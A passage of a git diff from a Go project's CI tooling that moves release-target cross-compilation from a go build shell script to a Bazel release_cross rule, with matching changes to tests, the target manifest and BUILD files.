0o700); mkErr != nil { + t.Fatal(mkErr) + } } - if writeErr := os.WriteFile(filepath.Join(fakeBin, "go"), []byte(fakeGoRecordingScript), 0o700); writeErr != nil { - t.Fatal(writeErr) + scriptPath := filepath.Join(scriptsCI, "bazel-release-cross-compile.sh") + for path, content := range map[string]string{ + scriptPath: string(script), + filepath.Join(scriptsCI, "release-targets.txt"): manifest, + filepath.Join(fakeBin, "bazel"): fakeBazelRecordingScript, + } { + if writeErr := os.WriteFile(path, []byte(content), 0o700); writeErr != nil { + t.Fatal(writeErr) + } } - logPath := filepath.Join(dir, "go-calls.log") + logPath := filepath.Join(dir, "bazel-calls.log") if writeErr := os.WriteFile(logPath, nil, 0o600); writeErr != nil { t.Fatal(writeErr) } - cmd := exec.Command("bash", scriptPath, group) + cmd := exec.Command("bash", append([]string{scriptPath}, args...)...) + cmd.Dir = dir cmd.Env = append(os.Environ(), "PATH="+fakeBin+":"+os.Getenv("PATH"), - "GO_CALL_LOG="+logPath, - "GO_FAIL_TARGET="+failTarget, + "BAZEL_CALL_LOG="+logPath, + "BAZEL_FAIL_PLATFORM="+failPlatform, + "FAKE_WANT_PKGS="+testPkgs, + "FAKE_BUILT_PKGS="+builtPkgs, ) outBytes, runErr := cmd.CombinedOutput() logBytes, _ := os.ReadFile(logPath) - return string(outBytes), runErr, string(logBytes) + for _, line := range strings.Split(strings.TrimRight(string(logBytes), "\n"), "\n") { + if line != "" { + calls = append(calls, line) + } + } + return string(outBytes), runErr, calls } -const testManifest = "linux amd64 unix\n" + - "darwin arm64 unix\n" + - "windows amd64 desktop\n" +const testReleaseManifest = "# comment\n" + + "linux amd64\n" + + "\n" + + "windows arm64\n" + + "darwin arm64\n" -// A failure in one target must propagate as a non-zero exit (the gate's -// whole point), must still attempt every other target in the group (so a PR -// touching two platforms sees both failures in one run), must name the -// failing target in an ::error:: line, and must pass CGO_ENABLED=0 and the -// gms_pure_go tag through to every invocation, not just the failing one. -func TestCheckReleaseCrossCompilePropagatesFailureAndCoversGroup(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "unix", testManifest, "linux/amd64") - if err == nil { - t.Fatalf("script exited 0 with a failing target; want non-zero\noutput:\n%s", out) - } - if !strings.Contains(out, "::error::cross-compilation failed for linux/amd64") { - t.Errorf("output does not name the failing target:\n%s", out) - } - if !strings.Contains(out, "::error::cross-compilation failed for: linux/amd64") { - t.Errorf("output does not contain the final failed-targets summary line:\n%s", out) - } - // Both unix-group targets must have been attempted, in spite of the first - // one failing. - for _, want := range []string{"linux\tamd64", "darwin\tarm64"} { - if !strings.Contains(log, want) { - t.Errorf("fake go call log is missing an attempt for %s; every group target must run even after an earlier one fails:\n%s", want, log) - } - } - // The desktop-group target must not have been touched by a unix-group run. - if strings.Contains(log, "windows\tamd64") { - t.Errorf("fake go call log recorded a desktop-group target during a unix-group run:\n%s", log) - } - for _, line := range strings.Split(strings.TrimRight(log, "\n"), "\n") { - if line == "" { - continue - } - fields := strings.Split(line, "\t") - if len(fields) != 4 { - t.Fatalf("malformed fake go call log line %q", line) - } - if fields[2] != "0" { - t.Errorf("fake go call %q: CGO_ENABLED = %q, want \"0\"", line, fields[2]) - } - if !strings.Contains(fields[3], "-tags gms_pure_go ./...") { - t.Errorf("fake go call %q: args = %q, want them to contain \"-tags gms_pure_go ./...\"", line, fields[3]) +func buildCalls(calls []string) []string { + var out []string + for _, c := range calls { + if strings.HasPrefix(c, "build\t") { + out = append(out, c) } } + return out } -// Every target in a group still passes without a failTarget. -func TestCheckReleaseCrossCompileAllTargetsPass(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "unix", testManifest, "") +const releaseFlag = "--//tools/bazel:release_platforms=" + +// One `bazel build --keep_going` of //tools/bazel:release_cross with every +// manifest row as a rules_go platform name, the caller's extra flags passed +// through, after a coverage check that queries the Go packages bazel knows +// and the ones release_cross reaches. +func TestBazelReleaseCrossCompileBuildsEveryManifestPlatform(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "", testPkgs, "--config=remote-exec") if err != nil { t.Fatalf("script failed with no simulated failures: %v\noutput:\n%s", err, out) } - if !strings.Contains(out, "cross-compilation passed for group 'unix'") { - t.Errorf("output does not report success for the unix group:\n%s", out) + if len(calls) != 3 { + t.Fatalf("bazel calls = %q, want two queries and one build", calls) } - for _, want := range []string{"linux\tamd64", "darwin\tarm64"} { - if !strings.Contains(log, want) { - t.Errorf("fake go call log is missing an attempt for %s:\n%s", want, log) + for i, want := range []string{ + `kind("go_library|go_binary", //...) except siblings(attr(tags, "\bcgo-only\b", `, + "deps(//tools/bazel:release_cross)", + } { + if !strings.HasPrefix(calls[i], "query\t") || !strings.Contains(calls[i], want) || !strings.Contains(calls[i], "--output=package") { + t.Errorf("bazel call %d = %q, want a package query containing %q", i, calls[i], want) + } + } + build := calls[2] + for _, required := range []string{ + "build\t--keep_going", + releaseFlag + "linux_amd64,windows_arm64,darwin_arm64", + "--config=remote-exec -- //tools/bazel:release_cross", + } { + if !strings.Contains(build, required) { + t.Errorf("build call %q does not contain %q", build, required) + } + } + if !strings.Contains(out, "release cross-compilation passed: linux/amd64 windows/arm64 darwin/arm64") { + t.Errorf("output does not report success for every target:\n%s", out) + } +} + +// A Go package release_cross does not reach fails the script before any +// build, naming the package. +func TestBazelReleaseCrossCompileFailsOnUncoveredPackage(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "", "cmd/bd") + if err == nil { + t.Fatalf("script exited 0 with an uncovered package; want non-zero\noutput:\n%s", out) + } + if !strings.Contains(out, "::error::Go packages //tools/bazel:release_cross does not build") || !strings.Contains(out, "internal/types") { + t.Errorf("output does not name the uncovered package:\n%s", out) + } + if b := buildCalls(calls); len(b) != 0 { + t.Errorf("bazel build ran despite an uncovered package: %q", b) + } +} + +// A failing platform fails the script; each platform is then rebuilt alone, +// so the output names exactly the failing ones. +func TestBazelReleaseCrossCompilePropagatesFailureAndNamesPlatform(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "windows_arm64", testPkgs) + if err == nil { + t.Fatalf("script exited 0 with a failing platform; want non-zero\noutput:\n%s", out) + } + builds := buildCalls(calls) + if len(builds) != 4 { + t.Fatalf("bazel build calls = %q, want the full build plus one per platform", builds) + } + for i, platform := range []string{"linux_amd64", "windows_arm64", "darwin_arm64"} { + if !strings.Contains(builds[i+1], releaseFlag+platform+" ") { + t.Errorf("attribution build %d = %q, want %s alone", i, builds[i+1], platform) + } + } + for _, want := range []string{ + "::error::release cross-compilation failed for windows/arm64", + "::error::release cross-compilation failed for: windows/arm64", + } { + if !strings.Contains(out, want) { + t.Errorf("output does not contain %q:\n%s", want, out) + } + } + for _, unwanted := range []string{"failed for linux/amd64", "failed for darwin/arm64"} { + if strings.Contains(out, unwanted) { + t.Errorf("output blames a passing platform (%q):\n%s", unwanted, out) } } } -// A group name absent from the manifest must fail loudly, not silently -// succeed with zero targets built. -func TestCheckReleaseCrossCompileUnknownGroupFails(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "bogus-group", testManifest, "") +// An empty manifest must fail loudly rather than pass with nothing built. +func TestBazelReleaseCrossCompileEmptyManifestFails(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, "# nothing\n\n", "", testPkgs) if err == nil { - t.Fatalf("script exited 0 for an unknown group; want non-zero\noutput:\n%s", out) + t.Fatalf("script exited 0 for an empty manifest; want non-zero\noutput:\n%s", out) } - if !strings.Contains(out, "::error::no release targets found for group 'bogus-group'") { - t.Errorf("output does not report the unknown group:\n%s", out) + if !strings.Contains(out, "::error::no release targets in") { + t.Errorf("output does not report the empty manifest:\n%s", out) } - if log != "" { - t.Errorf("fake go was invoked for an unknown group; want zero invocations, got log:\n%s", log) + if len(calls) != 0 { + t.Errorf("bazel ran for an empty manifest: %q", calls) + } +} + +// A malformed row (not exactly GOOS GOARCH) must fail, not be skipped. +func TestBazelReleaseCrossCompileMalformedRowFails(t *testing.T) { + out, err, _ := runBazelReleaseCrossCompile(t, "linux amd64 unix\n", "", testPkgs) + if err == nil { + t.Fatalf("script exited 0 for a malformed row; want non-zero\noutput:\n%s", out) + } + if !strings.Contains(out, "::error::malformed row") { + t.Errorf("output does not report the malformed row:\n%s", out) } } diff --git a/scripts/ci/bazel-release-cross-compile.sh b/scripts/ci/bazel-release-cross-compile.sh new file mode 100755 index 000000000..e369ff044 --- /dev/null +++ b/scripts/ci/bazel-release-cross-compile.sh @@ -0,0 +1,91 @@ +#!/usr/bin/env bash +# Release-target cross-compilation gate (bazel.yml's pure-Go lane): build +# every non-test Go target of the module for every GOOS/GOARCH row of +# scripts/ci/release-targets.txt, the Bazel form of +# `CGO_ENABLED=0 GOOS= GOARCH= go build -tags gms_pure_go ./...`. +# +# One `bazel build` of //tools/bazel:release_cross with +# --//tools/bazel:release_platforms set to every manifest row: its split +# transition builds every listed target once per platform with cgo off (and +# the gms_pure_go tag every build carries), all platforms in parallel on the +# remote workers. --keep_going reports every broken target of every +# platform in one run, and a failed run names each failing platform. The target list is every go_library and go_binary +# (the packages `go build ./...` compiles; go_test targets are `go test`'s), +# kept by tools/bazel/go_srcs.py (`make bazel-sync`) minus the ones tagged +# cgo-only (incompatible with //tools/bazel:pure), which `go build ./...` skips +# under CGO_ENABLED=0. Before building, the list is checked against `bazel +# query`, so a target the generator missed fails here instead of going +# uncompiled. The list also holds //tools/bazel:pure_bd_has_no_cgo_only_deps: +# Bazel compiles gozstd's pure stubs (third_party/patches/ +# gozstd_nocgo.patch) where `go build` rejects a CGO_ENABLED=0 import of it, +# so that check fails a platform whose pure bd links gozstd. +# +# Coverage boundary, as in the `go build` job this replaces: every target +# builds with cgo off, but .goreleaser.yml builds linux/amd64, linux/arm64 +# and windows/amd64 with CGO_ENABLED=1, and release.yml builds the darwin +# pair natively with CGO_ENABLED=1, so the cgo half of the tree (beads_cgo.go +# -> internal/storage/embeddeddolt) is compiled for none of them here. +# +# Usage: bazel-release-cross-compile.sh [extra bazel build flags...] +set -euo pipefail + +manifest="$(dirname "${BASH_SOURCE[0]}")/release-targets.txt" + +targets=() +while read -r goos goarch extra; do + if [[ -z "$goarch" || -n "$extra" ]]; then + echo "::error::malformed row in $manifest: '$goos $goarch $extra', want 'GOOS GOARCH'" + exit 1 + fi + targets+=("$goos/$goarch") +done < <(grep -v '^[[:space:]]*#' "$manifest" | grep -v '^[[:space:]]*$' || true) + +if [[ "${#targets[@]}" -eq 0 ]]; then + echo "::error::no release targets in $manifest" + exit 1 +fi + +platforms=() +for target in "${targets[@]}"; do + platforms+=("${target%/*}_${target#*/}") +done + +# Every Bazel package holding a Go target (less testonly targets and the +# packages of cgo-only ones) must be reached by //tools/bazel:release_cross; +# a listed label that no longer exists fails the build itself. +universe='kind("go_library|go_binary", //...)' +wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe)" +# One query at a time: they share the Bazel server. +want_pkgs="$(bazel query "$wanted" --output=package | LC_ALL=C sort -u)" +built_pkgs="$(bazel query 'deps(//tools/bazel:release_cross)' --output=package | LC_ALL=C sort -u)" +missing="$(LC_ALL=C comm -23 <(echo "$want_pkgs") <(echo "$built_pkgs"))" +if [[ -n "$missing" ]]; then + echo "::error::Go packages //tools/bazel:release_cross does not build (run \`make bazel-sync\`; a package whose Go targets are all invisible to //tools/bazel needs one visible to it):" + echo "$missing" + exit 1 +fi + +platform_list="$(IFS=,; echo "${platforms[*]}")" +echo "::group::bazel build //tools/bazel:release_cross for ${targets[*]}" +status=0 +bazel build --keep_going "--//tools/bazel:release_platforms=$platform_list" \ + "$@" -- //tools/bazel:release_cross || status=$? +echo "::endgroup::" +if [[ "$status" -ne 0 ]]; then + # Bazel's errors above name the target, not the platform (each split + # configuration's output directory is a hash). Rebuild one platform at a + # time to name them: the same configurations, so everything that built + # is a cache hit and only the failures run again. + failed=() + for i in "${!platforms[@]}"; do + if ! bazel build --keep_going "--//tools/bazel:release_platforms=${platforms[$i]}" \ + "$@" -- //tools/bazel:release_cross >/dev/null 2>&1; then + echo "::error::release cross-compilation failed for ${targets[$i]}" + failed+=("${targets[$i]}") + fi + done + echo "::error::release cross-compilation failed for: ${failed[*]:-(bazel exit $status; no single platform reproduced it, see the log above)}" + exit 1 +fi + +echo "release cross-compilation passed: ${targets[*]}" diff --git a/scripts/ci/check-release-cross-compile.sh b/scripts/ci/check-release-cross-compile.sh deleted file mode 100755 index a4fccfdd8..000000000 --- a/scripts/ci/check-release-cross-compile.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/usr/bin/env bash -# Build the whole tree (not just ./cmd/bd) for every release target in the -# given group of scripts/ci/release-targets.txt, with CGO disabled. -# -# This is the F7a fold of pr.yml's check-release-target-cross-compilation job: -# one call per matrix leg (group), each building its targets sequentially in a -# single job/runner instead of one runner per target. Every target in the -# group runs even if an earlier one fails, so a PR touching two platforms at -# once sees both failures in one log instead of needing a re-run per leg. -# -# Usage: check-release-cross-compile.sh -# -# Review N-1 (2026-10-03): the spec sketched a 2-wide parallel build per leg -# with a per-target GOCACHE. This builds sequentially with one shared GOCACHE -# instead - simpler, and safe because the targets in a group never touch the -# same GOCACHE entries destructively. Measured per-target time on an 8 vCPU -# Blacksmith runner is a couple of minutes, off the gate's critical path; if a -# future group's wall time regresses past ~4 minutes, revisit 2-wide. -# -# Coverage boundary, carried over from the pre-fold job: every target here -# builds CGO_ENABLED=0, but .goreleaser.yml builds bd-linux-amd64, -# bd-linux-arm64 and bd-windows-amd64 with CGO_ENABLED=1, and the darwin pair -# is built natively at CGO_ENABLED=1 by release.yml's goreleaser-macos job. -# Five of these eight targets are therefore a weaker proxy than the binary -# they stand for: the cgo half of the tree (beads_cgo.go -> -# internal/storage/embeddeddolt) is never compiled here, so a break confined -# to it still passes this check. Only android/arm64, windows/arm64 and -# freebsd/amd64 replicate their release configuration exactly. -set -euo pipefail - -group="${1:?usage: check-release-cross-compile.sh }" -manifest="$(dirname "${BASH_SOURCE[0]}")/release-targets.txt" - -targets=() -while read -r goos goarch row_group; do - [[ "$row_group" == "$group" ]] || continue - targets+=("$goos/$goarch") -done < <(grep -v '^#' "$manifest" | grep -v '^[[:space:]]*$') - -if [[ "${#targets[@]}" -eq 0 ]]; then - echo "::error::no release targets found for group '$group' in $manifest" - exit 1 -fi - -failed=() -for target in "${targets[@]}"; do - goos="${target%/*}" - goarch="${target#*/}" - echo "::group::Build $goos/$goarch" - if CGO_ENABLED=0 GOOS="$goos" GOARCH="$goarch" go build -tags gms_pure_go ./...; then - echo "ok: $goos/$goarch" - else - echo "::error::cross-compilation failed for $goos/$goarch" - failed+=("$goos/$goarch") - fi - echo "::endgroup::" -done - -if [[ "${#failed[@]}" -gt 0 ]]; then - echo "::error::cross-compilation failed for: ${failed[*]}" - exit 1 -fi - -echo "cross-compilation passed for group '$group': ${targets[*]}" diff --git a/scripts/ci/release-targets.txt b/scripts/ci/release-targets.txt index 07a9f8160..8cecf1e4a 100644 --- a/scripts/ci/release-targets.txt +++ b/scripts/ci/release-targets.txt @@ -1,7 +1,6 @@ -# Release target manifest for pr.yml's check-release-target-cross-compilation -# job (F7a). One "GOOS GOARCH GROUP" row per target; GROUP assigns the target -# to one of the job's two matrix legs (see -# scripts/ci/check-release-cross-compile.sh). +# Release target manifest: one "GOOS GOARCH" row per shipped release target. +# scripts/ci/bazel-release-cross-compile.sh (bazel.yml's pure-Go lane) builds +# the whole tree for each row with Bazel (--platforms, cgo off). # # Kept in sync with .goreleaser.yml's builds: list, PLUS the darwin/amd64 and # darwin/arm64 pair that .goreleaser.yml deliberately omits (built instead by @@ -11,15 +10,11 @@ # TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser enforces this: it # fails if this file and .goreleaser.yml (plus the darwin exception) ever # disagree on the target set. -# -# Groups are an even split for balanced job runtime, not a semantic -# boundary - cross-compilation never touches the target OS, so both groups -# build and run entirely on the Linux runner. -linux amd64 unix -linux arm64 unix -android arm64 unix -freebsd amd64 unix -darwin amd64 desktop -darwin arm64 desktop -windows amd64 desktop -windows arm64 desktop +linux amd64 +linux arm64 +android arm64 +freebsd amd64 +darwin amd64 +darwin arm64 +windows amd64 +windows arm64 diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index fb7ed17f8..14970f8d1 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -35,8 +35,7 @@ const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (git // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized // larger than the 2 vCPU default (check-doc-flags, -// pr-risk.yml's test-nix at 4 vCPU; check-release-target-cross-compilation at -// 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. +// pr-risk.yml's test-nix at 4 vCPU; windows-test-binaries at 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ae88cefb7..e8ce12ca1 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -393,42 +393,63 @@ esac } } -// TestPRCIGateRequiresReleaseTargetCrossCompilation pins the cross-compilation -// check into the gate. Wiring a job into ci-gate takes three separate edits -- -// needs:, the CI_GATE_REQUIRED token list, and the CHECK_* env mapping -- and -// the gate silently ignores a token that is missing any one of them. Every -// other load-bearing check in this file is pinned by name for that reason. -func TestPRCIGateRequiresReleaseTargetCrossCompilation(t *testing.T) { +// TestReleaseCrossCompileRunsInBazelPureLane pins the release-target +// cross-compilation gate into bazel.yml's pure-Go lane, whose job.status +// ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from +// coming back beside it: a second, `go build` copy of the gate would run +// every target twice. +func TestReleaseCrossCompileRunsInBazelPureLane(t *testing.T) { const ( - jobName = "check-release-target-cross-compilation" - token = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" + retiredJob = "check-release-target-cross-compilation" + retiredToken = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" + stepName = "Cross-compile every release target (--config=release-cross)" ) - - gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") + pr := readCIWorkflow(t, "pr.yml") + if _, ok := pr.Jobs[retiredJob]; ok { + t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelPureJobName) + } + gate := pr.job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env + if contains(gate.Needs, retiredJob) || gateEnv[retiredToken] != "" || contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), retiredToken) { + t.Errorf("ci-gate still wires the retired %s job", retiredJob) + } + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_PURE") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_PURE, the lane that cross-compiles the release targets") + } - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate needs %q: %v", jobName, gate.Needs) + run := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName).step(t, stepName).Run + for _, required := range []string{ + "set -euo pipefail", + "./scripts/ci/bazel-release-cross-compile.sh", + } { + if !strings.Contains(run, required) { + t.Errorf("%s step %q does not contain %q:\n%s", bazelPureJobName, stepName, required, run) + } } - if got, want := gateEnv[token], "${{ needs."+jobName+".result }}"; got != want { - t.Errorf("ci-gate env %s = %q, want %q", token, got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), token) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", token) + + // The transition is what makes every platform's build pure Go (cgo off, + // as CGO_ENABLED=0 go build) for the platform the script names. + bzl := readPolicyFile(t, bazelPolicyRoot(t), "tools/bazel/release_cross.bzl") + for _, required := range []string{ + `"//command_line_option:platforms": ["@rules_go//go/toolchain:" + platform],`, + `"@rules_go//go/config:pure": True,`, + `inputs = ["//tools/bazel:release_platforms"],`, + } { + if !strings.Contains(bzl, required) { + t.Errorf("tools/bazel/release_cross.bzl does not contain %q", required) + } } } // TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser keeps -// scripts/ci/release-targets.txt (F7a: the single source of truth for the -// pr.yml cross-compilation job's two matrix legs, read by -// scripts/ci/check-release-cross-compile.sh) and the set of shipped release -// targets in lockstep. Without a guard a newly added release target -- the -// way freebsd/amd64 once was -- is silently uncovered while a green "release -// target cross-compilation" check still stands. That is worse than having no -// check at all, because the check's existence implies the coverage it has -// quietly lost. +// scripts/ci/release-targets.txt (the single source of truth for the +// platforms scripts/ci/bazel-release-cross-compile.sh builds in bazel.yml's +// pure-Go lane) and the set of shipped release targets in lockstep. Without +// a guard a newly added release target -- the way freebsd/amd64 once was -- +// is silently uncovered while a green cross-compilation check still stands. +// That is worse than having no check at all, because the check's existence +// implies the coverage it has quietly lost. func TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser(t *testing.T) { - const jobName = "check-release-target-cross-compilation" const manifestPath = "scripts/ci/release-targets.txt" // darwin/amd64 and darwin/arm64 are shipped release targets that are @@ -447,51 +468,21 @@ func TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser(t *testing.T) { } } - // The job itself must still read the manifest, so a future rewrite of the - // job that stops threading matrix.group through to the script cannot pass - // silently. - job := readCIWorkflow(t, "pr.yml").job(t, jobName) - groups := append([]string(nil), job.Strategy.Matrix.Group...) - sort.Strings(groups) - if !reflect.DeepEqual(groups, []string{"desktop", "unix"}) { - t.Errorf("%s matrix groups = %v, want [desktop unix]", jobName, groups) - } - var ranScript bool - for _, step := range job.Steps { - if strings.Contains(step.Run, "check-release-cross-compile.sh ${{ matrix.group }}") { - ranScript = true - } - } - if !ranScript { - t.Errorf("%s does not run check-release-cross-compile.sh with matrix.group", jobName) - } - raw, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), manifestPath)) if err != nil { t.Fatalf("read %s: %v", manifestPath, err) } got := make(map[string]bool) - seenGroups := make(map[string]bool) for _, line := range strings.Split(string(raw), "\n") { line = strings.TrimSpace(line) if line == "" || strings.HasPrefix(line, "#") { continue } fields := strings.Fields(line) - if len(fields) != 3 { - t.Fatalf("%s: malformed row %q, want 'GOOS GOARCH GROUP'", manifestPath, line) - } - goos, goarch, group := fields[0], fields[1], fields[2] - if group != "unix" && group != "desktop" { - t.Fatalf("%s: row %q has unknown group %q", manifestPath, line, group) - } - seenGroups[group] = true - got[goos+"/"+goarch] = true - } - for _, g := range []string{"unix", "desktop"} { - if !seenGroups[g] { - t.Errorf("%s: no targets in group %q", manifestPath, g) + if len(fields) != 2 { + t.Fatalf("%s: malformed row %q, want 'GOOS GOARCH'", manifestPath, line) } + got[fields[0]+"/"+fields[1]] = true } for target, source := range want { @@ -1421,11 +1412,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "test-windows-liveness"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - for _, jobName := range []string{ - "advisory-reports", "check-release-target-cross-compilation", - } { - assertGoCacheInventory(t, workflows["pr.yml"].job(t, jobName), []goCacheStep{restoreModuleCache()}) - } + assertGoCacheInventory(t, workflows["pr.yml"].job(t, "advisory-reports"), []goCacheStep{restoreModuleCache()}) // F7b review (S2): check-doc-freshness-platforms additionally restores a // restore-only non-race Go build cache, seeded by the same push-to-main // savers pr-preflight-platforms' leg restores below (see that job's own @@ -1462,7 +1449,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "pr.yml": { "build-artifacts": true, "pr-core-wrapper": true, "scripts-go-checks": true, "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "check-release-target-cross-compilation": true, "pr-lint-wrapper": true, "windows-test-binaries": true, + "pr-lint-wrapper": true, "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {"build-embedded": true}, @@ -2987,15 +2974,13 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // size (module-cache misses on the Blacksmith pool are acceptable // per spec; jobs that need a Blacksmith-side build-cache saver are // F7b's scope, not this one). windows-test-binaries is F4's Linux - // mingw cross-compile job, sized at 8vcpu like the cross-compilation - // matrix fold below. + // mingw cross-compile job, sized at 8vcpu. "pr.yml": { "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, - "fast-checks": sameRepoBlacksmith2vcpu, - "advisory-reports": sameRepoBlacksmith2vcpu, - "check-doc-flags": sameRepoBlacksmith4vcpu, - "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, - "windows-test-binaries": sameRepoBlacksmith8vcpu, + "fast-checks": sameRepoBlacksmith2vcpu, + "advisory-reports": sameRepoBlacksmith2vcpu, + "check-doc-flags": sameRepoBlacksmith4vcpu, + "windows-test-binaries": sameRepoBlacksmith8vcpu, // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo // Blacksmith now that main.yml's blacksmith-go-build-cache and // pr-lint-wrapper `venue` matrix seed their Blacksmith-selection diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 3e1ed3c72..6ec7c261e 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -8,7 +8,12 @@ go_library( "resolver_windows.go", ], importpath = "github.com/steveyegge/beads/scripts/internal/testbash", - visibility = ["//scripts:__subpackages__"], + # //tools/bazel:release_cross cross-compiles it like every package + # `go build ./...` compiles. + visibility = [ + "//scripts:__subpackages__", + "//tools/bazel:__pkg__", + ], ) go_test( diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 9d9e372c0..79fdab72a 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -1,6 +1,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") load("@rules_shell//shell:sh_test.bzl", "sh_test") load(":dolt.bzl", "hermetic_bin") +load(":release_cross.bzl", "release_cross_build", "string_list_flag") # Platforms with a pinned dolt release; elsewhere (e.g. windows) the hermetic # test wrapper is skipped by `bazel build //...` instead of failing analysis. @@ -99,6 +100,207 @@ filegroup( for cpu in ("amd64", "arm64") ] +# On when rules_go builds pure Go (--@rules_go//go/config:pure, as +# --config=pure and :release_cross's transition set it): cgo is off. +config_setting( + name = "pure", + flag_values = {"@rules_go//go/config:pure": "true"}, + visibility = ["//:__subpackages__"], +) + +# Bazel compiles gozstd's pure stubs (third_party/patches/gozstd_nocgo.patch) +# where `go build` with CGO_ENABLED=0 rejects any import of it, so a pure bd +# that links gozstd still builds. Go binaries keep their function names +# (pclntab) even when stripped, so this fails the build of a pure bd that +# links gozstd for whatever platform it targets, without running it: +# :release_cross builds it for every release platform. "main.main" proves the name table +# was readable. Pure builds only: a cgo bd links gozstd by design. +genrule( + name = "pure_bd_has_no_cgo_only_deps", + srcs = ["//cmd/bd"], + outs = ["pure_bd_has_no_cgo_only_deps.txt"], + cmd = """ +if grep -qaF 'github.com/dolthub/gozstd.' $<; then + echo "$< links github.com/dolthub/gozstd (cgo-only) in a pure build; CGO_ENABLED=0 go build would reject it" >&2 + exit 1 +fi +grep -qaF 'main.main' $< || { echo "$<: no Go function names found" >&2; exit 1; } +echo "no cgo-only deps: $<" > $@ +""", + target_compatible_with = select({ + ":pure": [], + "//conditions:default": ["@platforms//:incompatible"], + }), +) + +# The rules_go platforms (_) :release_cross builds for. +# scripts/ci/bazel-release-cross-compile.sh sets it from +# scripts/ci/release-targets.txt, the single source of truth; empty fails +# :release_cross's analysis. +string_list_flag( + name = "release_platforms", + build_setting_default = [], +) + +# :release_cross (the managed block below) is the release-target +# cross-compilation: every go_library and go_binary, cgo off, once per +# platform in :release_platforms, all in one invocation. It is the Bazel +# form of `CGO_ENABLED=0 GOOS= GOARCH= go build -tags gms_pure_go +# ./...` per release target, plus :pure_bd_has_no_cgo_only_deps. Manual: it +# needs :release_platforms, which `bazel build //...` does not set. + +# --- begin release_cross (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +# manual: needs --//tools/bazel:release_platforms (see above). +release_cross_build( + name = "release_cross", + tags = ["manual"], + targets = [ + ":pure_bd_has_no_cgo_only_deps", + "//:beads", + "//backend/conformance:conformance", + "//backend:backend", + "//beadserrors:beadserrors", + "//cmd/bd/doctor/fix:fix", + "//cmd/bd/doctor:doctor", + "//cmd/bd/protocol:protocol", + "//cmd/bd/setup:setup", + "//cmd/bd:bd", + "//format:format", + "//internal/ado:ado", + "//internal/atomicfile:atomicfile", + "//internal/audit:audit", + "//internal/beads:beads", + "//internal/ceiling:ceiling", + "//internal/compact:compact", + "//internal/config:config", + "//internal/configfile:configfile", + "//internal/creds:creds", + "//internal/debug:debug", + "//internal/doltremote:doltremote", + "//internal/doltserver:doltserver", + "//internal/doltversion:doltversion", + "//internal/eventsjournal:eventsjournal", + "//internal/execenv:execenv", + "//internal/fdhygiene:fdhygiene", + "//internal/formula/cmd/schemagen:schemagen", + "//internal/formula/schemagen:schemagen", + "//internal/formula:formula", + "//internal/git:git", + "//internal/gitenv:gitenv", + "//internal/githooksenv:githooksenv", + 